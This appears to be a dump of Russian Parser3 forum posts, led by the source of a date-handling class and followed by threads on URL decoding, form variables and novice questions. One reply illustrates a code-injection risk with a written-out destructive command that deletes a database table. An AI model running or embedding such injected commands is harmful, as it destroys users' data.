#==========================================================================================\
# Класс для работы с датами расширенного диапазона. (v1.0) Автор: С. Лифшиц (serlif@mail.ru)\
#==========================================================================================\
#\
# Метод print и массивы локальных названий месяцев взяты из класса dtf.p\
# (http://www.parser.ru/examples/date/) Михаила Петрушина (http://misha.design.ru/).\
# Алгоритмы работы с модифицированными юлианскими датами взяты на http://alglib.manual.ru/\
#\
#                    Диапазон класса: 17.11.1858 - 23.12.54078.\
#\
# Верхний предел занижен, так как за ним начинаются ошибки в вычислениях (связанные\
# видимо с переполнением int). Некогда разбираться... Дальше наверное нужно только астрономам. :)\
#\
# Класс в первую очередь быд предназначен для обработки дат, хранящихся\
# в СУБД и выходящих за стандартный диапазон. Поэтому я обошелся без регулярного выражения\
# в конструкторе.\
#\
# Поля класса аналогичны Parser-овскому (www.parser.ru/docs/lang/datefields.htm):\
# day, month, year, hour, minute, second, weekday, yearday, daylightsaving\
#\
# Дополнительные поля: millisecond - миллисекунды, julian - дата в модифицированном\
# юлианском формате (количество дней, прошедших с 17.11.1858), russian - дата по русски\
# в виде \"ДД Месяц ГГГГ, ДеньНедели\", timestamp- количество секунд, прошедших с начала\
# текущих суток\
#\
# Примечание: Поскольку зимнее и летнее время в любом случае порождает\
# неопределенности (попробуйте сказать какое время 2004-10-31 02:00:01),\
# то поле daylightsaving вычисляется и для параметра без времени, говоря\
# в этом случае какое в этот день используется время (здесь неопределенности для\
# последнего воскресения марта и октября)\
#\
# Методы:\
#\
# @create[sql-date] - конструктор\
#\
# @roll[target;offset] - сдвигает дату на заданное количество единиц (в target: year, month, day)\
#\
# @print[sql-date;format;locale] - вывод даты, используя форматную строку и локальные названия месяцев\
#\
# @dayofweek[year;month;day] - определение дня недели для введенной даты\
#\
# @daysbetween[year1;month1;day1;year2;month2;day2] - вычисление количества дней между датами\
#\
# @getjulian[year;month;day] - переводит дату в модифицированную юлианскую\
#\
# @fromjulian[julian] - переводит дату из модифицированной юлианской в обычную\
#\
#==========================================================================================\
\
@CLASS\
cdate\
\
#==========================================================================================\
# Конструктор класса\
#==========================================================================================\
@create[sql-date][date;cdate][tmp]\
\
 $count[^sql-date.split[ ]]\
 $date[^sql-date.split[ ;h]]\
 \
# Заполняем поля, относящиеся к дате\
 $cdate[^date.0.split[-;h]]\
 $year($cdate.0) $month($cdate.1) $day($cdate.2)\
 $hour(0) $minute(0) $second(0) $millisecond(0)\
\
# Переводим дату в юлианскую\
 $julian(^getjulian[$year;$month;$day])\
 \
# Если вышли за диапазон класса - выдаем ошибку\
 ^if($julian<0 || $julian>19073000){\
  ^throw[bad.command;cdate:create;date '${year}-${month}-${day}' is out of valid range]\
 }\
\
# Корректируем значения для ошибочных дат (ex. 2000-02-31)\
 $tmp[^fromjulian[$julian]]\
 $year($tmp.year) $month($tmp.month) $day($tmp.day)\
\
# Если в параметре есть время - заполняем поля\
 ^if(^count.count[]>1){\
 \
  $time[^date.1.split[.;h]]\
  $count[^date.1.split[.]]\
  $ctime[^time.0.split[:;h]]\
\
  $timestamp(^ctime.2.int(0)+^ctime.1.int(0)*60+^ctime.0.int(0)*3600)\
  ^if(^count.count[]>1){\
   $timestamp($timestamp+^time.1.int(0)\\1000+(^time.1.int(0)%1000)/1000)\
  }\
  \
# Корректируем значения для ошибочного времени (ex. 26:69:84 = Сутки + 3:10:24)\
  $julian($julian+$timestamp\\86400)\
  $timestamp($timestamp%86400)\
  $tmp[^fromjulian[$julian]]\
  $year($tmp.year) $month($tmp.month) $day($tmp.day)\
\
# Заполняем время\
  $hour($timestamp\\3600)\
  $minute(($timestamp%3600)\\60)\
  $second(^math:trunc(($timestamp%3600)%60))\
  ^if(^count.count[]>1){$millisecond(^math:frac($timestamp)*1000)}\
 }\
\
 ^advancedfields[]\
 \
#==========================================================================================\
# Вычисляет расширенные поля: день недели, день года и т.д.\
#==========================================================================================\
@advancedfields[][marth;october]\
\
 $weekday[^dayofweek[$year;$month;$day]]\
 $yearday[^daysbetween[$year;1;1;$year;$month;$day]]\
\
# Вычисляем принадлежит ли день периоду летнего времени\
 $marth(32-^dayofweek[$year;03;25])\
 $marth[^daysbetween[$year;1;1;$year;3;$marth]]\
 $october(32-^dayofweek[$year;10;25])\
 $october[^daysbetween[$year;1;1;$year;10;$october]]\
 $daylightsaving(^if($yearday>=$marth && $yearday<=$october){1}{0})\
\
# Уточнение для летнего и зимнего времени\
 ^if($yearday==$marth && $hour==2){^hour.dec[]}\
 ^if($daylightsaving && def $time){\
  ^if($yearday==$marth && $hour<2){$daylightsaving(0)}\
  ^if($yearday==$october && $hour>=2){$daylightsaving(0)}\
 }\
\
 ^leapyear[]\
 $russian[^print[;%e %h %Y, %A]]\
\
#==========================================================================================\
# Сдвигает дату на заданное количество единиц\
#==========================================================================================\
@roll[target;offset][tmp]\
\
# Годы\
 ^if($target eq year){\
  $year($year+^offset.int(0))\
 }\
 \
# Месяцы\
 ^if($target eq month){\
  $month($month+^offset.int(0)%12)\
  $year($year+^offset.int(0)\\12)\
  ^if($month<=0){\
   $month(12+$month)\
   ^year.dec[]\
  }\
  ^if($month>12){\
   $month($month-12)\
   ^year.inc[]\
  }\
 }\
 \
# Дни\
 ^if($target eq day){\
  $julian($julian+^offset.int(0))\
  $tmp[^fromjulian[$julian]]\
  $year($tmp.year) $month($tmp.month) $day($tmp.day)\
 }\
\
# Перевычисляем доп. поля для обновленной даты\
 ^leapyear[]\
 ^if($day>$dayinmonth.$month){$day($dayinmonth.$month)}\
 \
 $julian[^getjulian[$year;$month;$day]]\
 \
# Если вышли за диапазон класса - выдаем ошибку\
 ^if($julian<0 || $julian>19073000){\
  ^throw[rolled.out;cdate:roll;bad resulting date '${year}-${month}-${day}'(rolled out of valid date range)]\
 }\
 \
 ^advancedfields[]\
\
#==========================================================================================\
# Коррекция количества дней в феврале для високосных лет\
#==========================================================================================\
@leapyear[]\
\
 ^if($year%4==0 && ($year%100!=0 || $year%400==0)){$dayinmonth.2[29]}{$dayinmonth.2[28]}\
\
#==========================================================================================\
# Вычисляет день недели\
#==========================================================================================\
@dayofweek[y;m;d][jul]\
\
 $jul(^getjulian[$y;$m;$d])\
 $result(($jul%7+3)%7)\
\
#==========================================================================================\
# Вычисляет количество дней между датами\
#==========================================================================================\
@daysbetween[y1;m1;d1;y2;m2;d2][date1;date2]\
\
 $result(^getjulian[$y2;$m2;$d2]-^getjulian[$y1;$m1;$d1])\
\
#==========================================================================================\
# Переводит дату в модифицированную юлианскую\
#==========================================================================================\
@getjulian[y;m;d][a;b]\
\
 $y(^y.int(0)) $m(^m.int(0)) $d(^d.int(0))\
 $a(10000*$y+100*$m+$d)\
 ^if($m<=2){^m.inc(12) ^y.dec(1)}\
 ^if($a<=15821004){\
  $b(-2+($y+4716)\\4-1179)\
 }{\
  $b($y\\400-$y\\100+$y\\4)\
 }\
 $a(365*$y-679004)\
 $result($a+$b+306001*($m+1)\\10000+$d)\
\
#==========================================================================================\
# Переводит дату из модифицированной юлианской в обычную\
#==========================================================================================\
\
@fromjulian[mjd][jd;b;c;d;e;f;da;mo;ye]\
\
 $jd($mjd+2400001)\
 \
 ^if($jd<2299161){\
  $b(0)\
  $c($jd+1524)\
 }{\
  $b(($jd*100-186721625)\\3652425)\
  $c($jd+($b-$b\\4)+1525)\
 }\
 \
 $d((100*$c-12210)\\36525)\
 $e(365*$d+$d\\4)\
 $f(($c-$e)*10000\\306001)\
 $da(^math:trunc($c-$e+0.5)-^math:trunc($f*30.6001))\
 $mo($f-1-12*($f\\14))\
 $ye($d-4715-(7+$mo)\\10)\
\
 $result[$.day($da) $.month($mo) $.year($ye)]\
\
#==========================================================================================\
# Вывод даты, используя форматную строку.\
# Формат строки понятен из вариантов switch\
#==========================================================================================\
\
@print[sql-date;format;locale][tmp;temp;year;month;day;hour;minute;second]\
\
# Если дата не задана - печатаем для текущего объекта\
 ^if(!def ${sql-date}){\
  $year($self.year) $month($self.month) $day($self.day) $hour($self.hour)\
  $minute($self.minute) $second($self.second) $millisecond($self.millisecond)\
 }{\
  $temp[^cdate::create[$sql-date]]\
  $year($temp.year) $month($temp.month) $day($temp.day) $hour($temp.hour)\
  $minute($temp.minute) $second($temp.second) $millisecond($temp.millisecond)\
 }\
 \
 ^if(!def $locale){$locale[$rr-locale]}\
\
 $result[\
  ^format.match[%(.)][g]{\
   ^switch[$match.1]{\
  \
    ^case[%]{%}\
\
    ^case[e]{$day}\
    ^case[d]{^day.format[%02d]}\
\
    ^case[c]{$month}\
    ^case[m]{^month.format[%02d]}\
    ^case[h]{$locale.month.[$month]}\
\
    ^case[Y]{$year}\
    ^case[y]{$tmp($year % 100)^tmp.format[%02d]}\
\
    ^case[w]{$weekday}\
    ^case[a;A]{$locale.weekday.[$weekday]}\
\
    ^case[D]{^month.format[%02d]/^day.format[%02d]/$year}\
\
    ^case[H]{^hour.format[%02d]}\
    ^case[M]{^minute.format[%02d]}\
    ^case[i]{^minute.format[%02d]}\
    ^case[S]{^second.format[%02d]}\
\
    ^case[T]{^hour.format[%02d]:^minute.format[%02d]:^second.format[%02d]}\
   }\
  }\
 ]\
 \
#==========================================================================================\
# Вспомогательные переменные\
#==========================================================================================\
@auto[]\
\
$dayinmonth[\
            $.1[31] $.2[28] $.3[31] $.4[30] $.5[31] $.6[30]\
            $.7[31] $.8[31] $.9[30] $.10[31] $.11[30] $.12[31]\
           ]\
\
$rr-locale[\
	$.month[\
		$.1[Января]\
		$.2[Февраля]\
		$.3[Марта]\
		$.4[Апреля]\
		$.5[Мая]\
		$.6[Июня]\
		$.7[Июля]\
		$.8[Августа]\
		$.9[Сентября]\
		$.10[Октября]\
		$.11[Ноября]\
		$.12[Декабря]\
	]\
	$.weekday[\
		$.0[Воскресенье]\
		$.1[Понедельник]\
		$.2[Вторник]\
		$.3[Среда]\
		$.4[Четверг]\
		$.5[Пятница]\
		$.6[Суббота]\
		$.7[Воскресенье]\
	]\
]\
$ri-locale[\
	$.month[\
		$.1[Январь]\
		$.2[Февраль]\
		$.3[Март]\
		$.4[Апрель]\
		$.5[Май]\
		$.6[Июнь]\
		$.7[Июль]\
		$.8[Август]\
		$.9[Сентябрь]\
		$.10[Октябрь]\
		$.11[Ноябрь]\
		$.12[Декабрь]\
	]\
	$.weekday[\
		$.0[Воскресенье]\
		$.1[Понедельник]\
		$.2[Вторник]\
		$.3[Среда]\
		$.4[Четверг]\
		$.5[Пятница]\
		$.6[Суббота]\
		$.7[Воскресенье]\
	]\
]\
$rs-locale[\
	$.month[\
		$.1[Янв]\
		$.2[Фев]\
		$.3[Мар]\
		$.4[Апр]\
		$.5[Май]\
		$.6[Июн]\
		$.7[Июл]\
		$.8[Авг]\
		$.9[Сен]\
		$.10[Окт]\
		$.11[Ноя]\
		$.12[Дек]\
	]\
	$.weekday[\
		$.0[Вс]\
		$.1[Пн]\
		$.2[Вт]\
		$.3[Ср]\
		$.4[Чт]\
		$.5[Пт]\
		$.6[Сб]\
		$.7[Вс]\
	]\
]\
# английская locale\
$es-locale[\
	$.month[\
		$.1[Jan]\
		$.2[Feb]\
		$.3[Mar]\
		$.4[Apr]\
		$.5[May]\
		$.6[Jun]\
		$.7[Jul]\
		$.8[Aug]\
		$.9[Sep]\
		$.10[Oct]\
		$.11[Nov]\
		$.12[Dec]\
	]\
	$.weekday[\
		$.0[Sun]\
		$.1[Mon]\
		$.2[Tue]\
		$.3[Wed]\
		$.4[Thu]\
		$.5[Fri]\
		$.6[Sat]\
		$.7[Sun]\
	]\
]\
$ei-locale[\
	$.month[\
		$.1[January]\
		$.2[Febrary]\
		$.3[March]\
		$.4[April]\
		$.5[May]\
		$.6[June]\
		$.7[July]\
		$.8[August]\
		$.9[September]\
		$.10[October]\
		$.11[November]\
		$.12[December]\
	]\
	$.weekday[\
		$.0[Sunday]\
		$.1[Monday]\
		$.2[Tuesday]\
		$.3[Wednsday]\
		$.4[Thusday]\
		$.5[Friday]\
		$.6[Satarday]\
		$.7[Sunday]\
	]\
]\
# украинская locale\
$us-locale[\
	$.month[\
		$.1[Сiч]\
		$.2[Лют]\
		$.3[Бер]\
		$.4[Квi]\
		$.5[Тра]\
		$.6[Чер]\
		$.7[Лип]\
		$.8[Сер]\
		$.9[Вер]\
		$.10[Жов]\
		$.11[Лис]\
		$.12[Гру]\
	]\
	$.weekday[\
		$.0[Нед]\
		$.1[Пон]\
		$.2[Вiв]\
		$.3[Сер]\
		$.4[Чет]\
		$.5[П'я]\
		$.6[Суб]\
		$.7[Нед]\
	]\
]\
$ui-locale[\
	$.month[\
		$.1[Сiчень]\
		$.2[Лютий]\
		$.3[Березень]\
		$.4[Квiтень]\
		$.5[Травень]\
		$.6[Червень]\
		$.7[Липень]\
		$.8[Серпень]\
		$.9[Вересень]\
		$.10[Жовтень]\
		$.11[Листопад]\
		$.12[Грудень]\
	]\
	$.weekday[\
		$.0[Недiля]\
		$.1[Понедiлок]\
		$.2[Вiвторок]\
		$.3[Середа]\
		$.4[Четвер]\
		$.5[П'ятниця]\
		$.6[Субота]\
		$.7[Недiля]\
	]\
]\
[/code]"
"35065","[code]\
 $s[1998-02-01 26:69:84.121]\
\
 $sd[^date::create[$s]]\
 $cd[^cdate::create[$s]]\
 \
 ^sd.roll[day](-529)\
 ^cd.roll[day](-529)\
\
<br/><br/>\
<table border=\"1\" align=\"center\">\
 <tr><td>&nbsp^;</td><td>Класс Parser</td><td>Класс cdate</td></tr>\
 <tr><td>День</td><td>$sd.day</td><td>$cd.day</td></tr>\
 <tr><td>Месяц</td><td>$sd.month</td><td>$cd.month</td></tr>\
 <tr><td>Год</td><td>$sd.year</td><td>$cd.year</td></tr>\
 <tr><td>Час</td><td>$sd.hour</td><td>$cd.hour</td></tr>\
 <tr><td>Минуты</td><td>$sd.minute</td><td>$cd.minute</td></tr>\
 <tr><td>Секунды</td><td>$sd.second</td><td>$cd.second</td></tr>\
 <tr><td>Миллисекунды</td><td>-</td><td>$cd.millisecond</td></tr>\
 <tr><td>День недели</td><td>$sd.weekday</td><td>$cd.weekday</td></tr>\
 <tr><td>День года</td><td>$sd.yearday</td><td>$cd.yearday</td></tr>\
 <tr><td>Летнее время</td><td>$sd.daylightsaving</td><td>$cd.daylightsaving</td></tr>\
 <tr><td>Юлианская</td><td>-</td><td>$cd.julian</td></tr>\
 <tr><td>По русски</td><td>-</td><td>$cd.russian</td></tr>\
 <tr><td>Секунд с нач. суток</td><td>-</td><td>$cd.timestamp</td></tr>\
</table>\
[/code]"
"35067","В принципе, я так и сделал уже. Всё работает.\
Я думал, что есть функция, внутри которой не обрабатывается Parser3. Как теперь понимаю, её действительно нет. Жаль."
"35068","Я не знал и [url=\"http://www.parser.ru/docs/search.html?text=document&doDocSearch=%CD%E0%E9%F2%E8\"]не нашел[/url] такого метода document. И если не ставить перед выражением ^ или $ то Parser не трогает выражение. У вас скорей всего ругается на ;. Это как раз служеный символ и его нужно эскейпить птичкой -  ^;"
"35069","Граждане, помогите пожалуйста.\
Мне нужно правильно декодировать url'ы с которых на сайт приходят люди с поисковиков.\
Штука в том, что простой таблицей замены обойтись не получается, т.к. кодировки разные:\
одно и то же слово \"тест\":\
яндекс: text=%F2%E5%F1%F2\
гугель: q=%D1%82%D0%B5%D1%81%D1%82\
если ли какая функция корректно обрабатывающая юникод или нет?\
да, урлы эти берутся как через форму, так и из БД.."
"35070","Только вот вопрос. Просто интересно.\
Зачем было реализовывать юлианские даты?"
"35071","$form:text и $form:q соответственно — не помогают?\
\
Или еще вариант: ^untaint[uri]{$form:text}"
"35072","Посмотрите реализацию метода для расстояния между датами или дня недели и все станет ясно... :) И в других местах тоже очень удобно..."
"35074","Наверное Вы правы на счёт \";\"... попробую позже!\
Спасибо."
"35079","Предлагаю дополнить \
[code]\
#==========================================================================================\
# Конструктор класса\
#==========================================================================================\
@create[sql-date][date;cdate][tmp]\
 ^if(!def $sql-date){\
[color=\"red\"]\
     $nowdate[^date::now[]]\
     $sql-date[^nowdate.sql-string[]]\
[/color] \
 }\
 $count[^sql-date.split[ ]]\
 $date[^sql-date.split[ ;h]]\
 \
# Заполняем поля, относящиеся к дате\
\
[/code]"
"35080","И еще предложение по форуму:\
Классы, написанные Парсере, перенести в раздел \"скачать\", в котором сделать одноименный подраздел."
"35083","в @advancedfields[]добавить\
[code]\
 $ukrainian[^print[;%e %h %Y, %A;$ui-locale]]\
 $english[^print[;%e %h %Y, %A;$ei-locale]]\
[/code]\
\
А то хэш с этими локалями только место занимает :)"
"35085","Спасибо... Извини за дурацкий вопрос, просто учусь :)"
"35086","Не хочет просто так работать с $sql-date.\
Название не нравится :)\
Делаем так: ${sql-date}\
[code]\
#==========================================================================================\
# Конструктор класса\
#==========================================================================================\
@create[sql-date][date;cdate][tmp]\
 ^if(!def ${sql-date}){\
\
     $nowdate[^date::now[]]\
     $sql-date[^nowdate.sql-string[]]\
 \
 }\
 $count[^sql-date.split[ ]]\
 $date[^sql-date.split[ ;h]]\
 \
# Заполняем поля, относящиеся к дате\
\
[/code]"
"35087","В SQL таблице:\
[code]/*==============================================================*/\
/* Table: acl                                                   */\
/*==============================================================*/\
/* назначеные на объект права */\
create table if not exists acl\
(\
   object_id                      INT(10)                        not null default 0,\
   auser_id                       INT(10)                        not null default 0,\
   rights                         INT(10)                        not null default 0,\
   unique (auser_id, object_id)\
);\
\
/* object_id - связка с объектом */;\
\
/* rights - младший байт - права на объект, старший - на свойства. */;[/code]\
Как можно представить младший и старший байт?"
"35088","Хочу сделать\
$load_path$form:upload.name\
но ошибка!!! как описать переменные рядом?"
"35089","При установке Kcommander в Mandrake Linux прога требует libstdc++-libc6.2-2.so3 Где её взять?\
Если у кого-нибудь есть пришлите на email please"
"35090","Я уже сам разобрался...\
${load_path}${form:upload.name}"
"35091","спасибо я попробую:)\
можно, если что, за советом тебе на мыло обращаться???"
"35092","маленький вопросик\
$form:subj\
что такое form понятно, а что делает subj???"
"35093","вы вообще в доки заглядывали?\
\
?you=lazy\
,где lazy значение формы $form:[b]you[/b]"
"35094","таблица из файла в 27 мб - это клиника. И зачем заниматься идиотизмом и грузить по кусочкам если можно пользоваться базой? она для этого и сделана..."
"35096","если вам дадут функцию:\
[code]\
@two_plus_two[]\
$result[^eval(2 + 2)]\
[/code]\
\
вы спросите как ее вызывать?"
"35098","Дмитрий я, конечно, понимаю что вы хотите показать свою компетентность в данном примере. Но и вы поймите меня правильно. Если я вас спрошу чем отличается Smith Grind от Fible Grind, то вы тоже задумаетесь. Ну в некоторых вопросах я туп... С кем не бывает.\
Я понимаю что для вас это кажется банальной ерундой. Заглянув в документацию я не догнал и что с того. Теперь можно глумится над человеком? Вы ей богу гопник какой-то..."
"35099","ради экспаримента сделал copy/paste этих двух фраз в ya.ru и кое что уже стало понятно: на сайты какой тематики идти чтобы искать ответы на вопросы.\
\
у вас все проще: вы уже на этом сайте. тут есть FAQ, документация с полнотекстовым поиском с учетом русской морфологии по ней и форем, опять-же с поиском, хоть и не таким продвинутым.\
\
так что это не аргумент. вам предлагают не нать все сразу, а перед спрашиванием искать тут-же."
"35100","Все заработало!!! Большое спасибо!!! Многое встало на свои места:)"
"35102","что такое байты и как представить себе младший и старший байты вы сможете найти во многих книжках по программированию."
"35103","Не пришлют. 100пудово не пришлют. Это форум по другой тематике. Это форум по скриптовальной штуке Парсер. Есть сайты по мандрейку, есть сайты по ккомандиру, есть сайты всяческих линукс коммьюнити. Опеннет, линуксру и проч. Англоязычных ресурсов - залейся. Есть также пакет libcompat. Кажется там что-то было  похожее. Самый лучший совет в твоем случае - погуглить. Это значит надо пойти на сайт google.com и набрать в строке поиска libstdc++-libc6.2-2. Потом нажать Google Search. И втыкать в найдеенное. И еще. Есть чудное руководство \"Как правильно задавать вопросы\". Найти, распечатать, выучить. Жутко поможет."
"35104","Вы не подскажете?\
Мне надо передать неск. значений из файла html (из формы) в php-форму (поле TextArea).\
Вот код на Парсере:\
[code]$nomer($nomer + 1) <br>$nomer <input type=\"Checkbox\" name=\"caps\" value=\"$sections.id/$sections.image\"> </CENTER>[/code]\
\
Как можно передать значения при выбранных Check?????\
С уважением."
"35106","я хочу показать обширность док, поиск по форуму слева и здравый смысл, который вам похоже не присущь. Я даже не подумаю задуматься над тем, чем отличается Smith Grind от Fible Grind, мне это не нужно.\
\
все функции парсера - это все то, что вы могли бы сделать сами, чего нельзя сказать, допустим о Perl. Так перед тем, как задавать этот вопрос, вы могли бы хотябы удосужиться и прочитать хотябы первые уроки документации..."
"35107","можно передать 1 значение, а вот неск. - не получается :-("
"35108","[code]\
$url[тут ваш отэскейпенный урл]\
$url[^url.match[%(.{1,2})][g]{^process{^^#^untaint{$match.1}}}]\
[/code]\
\
Доработать под Юникод, думаю, труда не составит."
"35109","[code]\
<input type=\"Checkbox\" name=\"caps_$sections.id\" value=\"$sections.id/$sections.image\">\
\
# и получаете соответственно:\
\
$form:caps_1\
$form:caps_2\
[/code]\
\
Но это не красиво. И не правильно.\
\
Может быть, вы объясните задачу и мы попробуем ее красиво и правильно решить?"
"35111","если что-то перепутаете, и пользователь сможет всучить вам больше %двух_букв, то он вам обязательно передаст\
[code]\
^void:sql{delete from objects}\
[/code]"
"35112","и еще такой вопрос, зачем форму писать на парсере, а обработывающий эту форму файл на php? может лучше все либо на parser либо на php?"
"35113","[code]${load_path}$form:upload.name[/code]"
"35114","Страраемся крайне аккуратно использовать."
"35115","Так \"закеймить\" можно кого угодно.\
Но когда с некоторыми моментами начинаешь сталкиваться лбами...\
...(дальше фразу нужно додумать самому)..."
"35116","Лучше взять за привычку писать все переменные, находящиеся рядом, в фигурных скобках. ТОгда не надо будет смотреть последняя эта переменная или нет.\
${load_path}${form:upload.name}"
"35118","Единственно я не уверен, что для стандартного английского и украинского  варианта подходит форматная строка %e %h %Y, %A. Насколько я знаю в английском принято писать типа \"НазваниеМесяца ДД, ГГГГ (ДеньНедели)\" - т.е %h %e, %Y (%A)? В украинском вроде как и у нас. И кстати мне помогли просклонять названия в украинском.\
[code]\
$.month[\
		$.1[Сiчня]\
		$.2[Лютня]\
		$.3[Березеня]\
		$.4[Квiтня]\
		$.5[Травня]\
		$.6[Червня]\
		$.7[Липня]\
		$.8[Серпня]\
		$.9[Вересня]\
		$.10[Жовтня]\
		$.11[Листопада]\
		$.12[Грудня]\
	]\
[/code]\
\
P.S. А насчет предложения из названия первого поста никто не поможет?"
"35122","по моему основное назначение класса - делать ^cdate:print[$from_sql.datetime;формат;локаль]\
\
поэтому незачем при каждом create (который вызывается из print) делать мало кому обычно нужные телодвижения.\
\
возможно стоит сделать как у меня в dtf: установку текущей locale. если мы делаем на сайт английском, то выполнили один раз set locale и у нас по умолчанию все на английском, в ком числе в переменной где строка с полной датой (только тогда её надо обозвать не $russian)."
"35124","Это действительно было бы очень полезно. \
Тем паче, что mysql вырос до огромных размеров, и установка его \
становится всё сложнее. \
А (относительно) простая встроенная СУБД с достаточно хорошими \
возможностями и без установки была бы как раз для многих приложений."
"35125","[code]если x - старший байт числа, а y - младший\
то результирующее число g = x * 256 + y\
y = g % 256 ( % - остаток от деления)\
x = g / 256[/code]"
"35126","http://www.parser.ru/forum/?terms=rights&search_in_message=1&author=Misha+v.3&doSearch=do"
"35127","поиск рулит...\
доки тоже."
"35128","На Парсере получается более практичнее, но мне надо передавать значения на др. страницу (с формой...) Вот это то и не6 получается. А то, что дал PAF - спасибо, я читал, но мне это не совсем подходит - мне надо не на этой странице. Да и передавать в форму."
"35129","Я тут дошел до 4 урока и прочитал про базы данных! Так вот, насколько глубокими должны быть знания баз данных MySql чтобы создать сайт на parser с новостями, форумом и пользователями? Не подскажите где можно достать отличный учебник по этому всему? (хотя бы электронный)"
"35130","Ок. Исправлюсь... Только не надо бить :)\
Вы же тоже когди нибудь начинали? Или я ошибаюсь?\
А вот так вот критично к людям относится нельзя... Это Мише в.3. "
"35132","должны быть такими же, как если бы вы писали на Perl, PHP и т.д."
"35134","Нужно запихнуть данные в XML документ(между тегами), например из файла. Желательно используя Xpath. Помогите, пожалуйста. Т.к. я начинающий в этом."
"35136","Пробую собрать его с поддержкой apache...\
\
configure: WARNING: neither --with-shared/static-gc were specified, hoping linker would find it\
checking for libgc... yes\
configure: error: yes does not seem to be valid Apache13 source distribution directory\
\
Пакет apache-dev установлен....\
Или ему все-таки нужны исходники апача?"
"35139","Рекомендую - [url=\"http://www.nox.net.ru/hosting/\"]www.nox.net.ru/hosting/[/url]\
\
1. Цена за 1 год - всего 1000 руб.\
2. Есть Parser, MySQL, PHP.\
3. Супер-статистика: пример - www.nox.net.ru/stat/\
4. Почта неограниченна"
"35140","Есть задача - проверять орфографию (русских текстов) по отдельной кнопке в системе публикации контента (текстов).\
\
Как написать онлайновый проверщик орфографии - ума не приложу. В голову приходят только безумно громозкие и уродливые алгоритмы, которые и озвучивать стыдно....\
Не сталкивался ли кто-нибудь с подобными вещами? Или может есть предположения какой алгоритм действий???\
\
Или если нет, то кто как решает эте проблему?\
По сети искал, в лучшем случае модули для ИЕ для проверки английского языка..."
"35141","Вот ссылка - направление откуда можно что-то накопать, словарик например.\
http://freeman.org.ua/doc/mnogosearch/msearch-ru-fuzzy.html\
\
Идея проста, если находишь слово/словоформу в словаре - вероятно ошибки нет, не находишь - вероятно ошибка есть.\
\
С пунктуацией, придётся взять учебник по рускому языку и перевести его на parser :)"
"35142","В том то и проблема  - это какая нагрузка ляжет на DB если хотяб текст из 500 слов проверять...\
\
За ссылку спасибо (правда пока не открывается вся ветка /doc/  - но надо будет утром попробовать....)!"
"35143","imho, можно к БД фотографий приделать поле id, ссылающееся на объект, от которого эта фотография. И тогда база перекрестных ссылок не нужна и запросов будет меньше, а если фотография от новостей, то поле type как раз и расскажет SELECTU, выбирать эту запись или нет.\
\
Вот...\
\
А зачем все-таки нужна отдельная база ссылок на фото? Или у вас к двум актерам одна и та же фотография может быть?"
"35144","На случай, если база [code]$actor_photo[/code] все-таки нужна, то тогда, думаю я, что она однозначно устанавливает соответствие между фото актера и актером, и поле type просто излишне.\
\
А если в этой базе хранятся фото от новостей и еще какие, то тогда логично было бы завести базу [code]$news_photo[/code] и еще какую по надобности."
"35145","На моем хостинге он есть, я правда ещё не прикручивал. Сегодня попробую, и доложусь.\
\
Работает примитивно, ему отдаёшь текст, а он в зависимости от параметров возвращает таблицу ошибочных слов, варианты замен и т.д."
"35146","Да, на одной и той же фотографии может быть хоть десять актеров (сцена из спектакля), также эта фотография относиться к какому-то одному спектаклю и еще ее можно запихнуть в новость. Вот."
"35148","$tmp[^date::now[]]\
$tmp2[$tmp]\
^tmp2.roll[year](-2)\
$tmp.year\
\
Получаем 2002"
"35149","Сейчас защищаю его таким образом:\
^+ заменяется на ^^\
этот код никогда не попадает внутрь :sql{}\
\
Как считаете, этого достаточно?"
"35152","Я все сделал на 4 уроке - все получилось! только вот куда прописать эту строку: [b]<a href=\"/news/?day=$days.$week_day\">$days.$week_day</a> \
[/b] Вот что по этому поводу написано в учебке:\
[i]Теперь у нас есть форма, позволяющая помещать записи в нашу БД. Занесите в нее несколько записей. А теперь давайте их оттуда извлекать, но перед этим неплохо бы немного доработать функцию calendar, созданную на предыдущем уроке. Нужно, чтобы в календаре ставились ссылки на дни месяца, а выбранный день передавался как поле формы. Тогда по числам-ссылкам в календаре пользователь будет попадать в архив новостей за выбранный день. Модернизация эта неcложная, просто добавим немного HTML в auto.p раздела news: $month.$week_day в коде if обнесем ссылками таким образом: \
[/i]\
Но я повставлял, но ничего не вышло! Вот кусок моего auto.p:\
[code]^days.menu{ \
   <tr> \
      ^for[week_day](0;6){ \
         ^if(<a href=\"/news/?day=$days.$week_day\">$days.$week_day</a>){ \
            ^if($days.$week_day==$now.day){ \
            <td align=\"middle\" bgcolor=\"#FFFF00\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               <b>$days.$week_day</b> \
               </font> \
            </td> \
            }{          \
            <td align=\"middle\" bgcolor=\"#FFFFFF\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               $days.$week_day \
               </font> \
            </td> \
            } \
         }{ \
            <td bgcolor=\"#DFDFDF\">&nbsp</td>    \
         } \
      } \
   </tr> \
} \
</table> \
</center> [/code]"
"35153","Пойду отизучу содержимое!"
"35154","Пока я только накопал  внешние (в основном Явные) проверщики. В большинстве своем подрубаемые только к IE как ActiveX, и эксплотрующие Вордовский проверщик орфографии. Все бы хорошо - но хотелось бы все это и под FireFox запустить."
"35155","[code]\
$link_m[http://www.wood.ru/ru/index.php3?reg=1&pag=board]\
$file_1[^file::load[text;$link_m]]\
#$file_2[^file::load[text;wood_m.txt]]\
$str[$file_1.text]\
$link[^str.match[<td width=100%><a href=\"(index.php3\\?reg=1&pag=board&msg=[0-9]+&beg=0&sbi=0)]]\
^link.save[match.txt]\
$url[http://www.wood.ru/ru/$link.1]\
$url<br>\
$file_2[^file::load[text;$url]]\
$str_2[$file_2.text]\
[/code]\
$file_2[^file::load[text;$url]] - строка выдает ошибку... А если присваиваю переменной $url[http://www.wood.ru/ru/index.php3\\?reg=1&pag=board&msg=[0-9]+&beg=0&sbi=0] то работает. Однако переменная $url выводит корректный адрес... я не понимаю в чем дело.. помогите пожалуйста"
"35156","[code]\
$link_m[http://www.wood.ru/ru/index.php3?reg=1&pag=board]\
$file_1[^file::load[text;$link_m]]\
#$file_2[^file::load[text;wood_m.txt]]\
$str[$file_1.text]\
$link[^str.match[<td width=100%><a href=\"(index.php3\\?reg=1&pag=board&msg=[0-9]+&beg=0&sbi=0)]]\
^link.save[match.txt]\
$url[http://www.wood.ru/ru/$link.1]\
$url<br>\
$file_2[^file::load[text;$url]]\
$str_2[$file_2.text]\
[/code]\
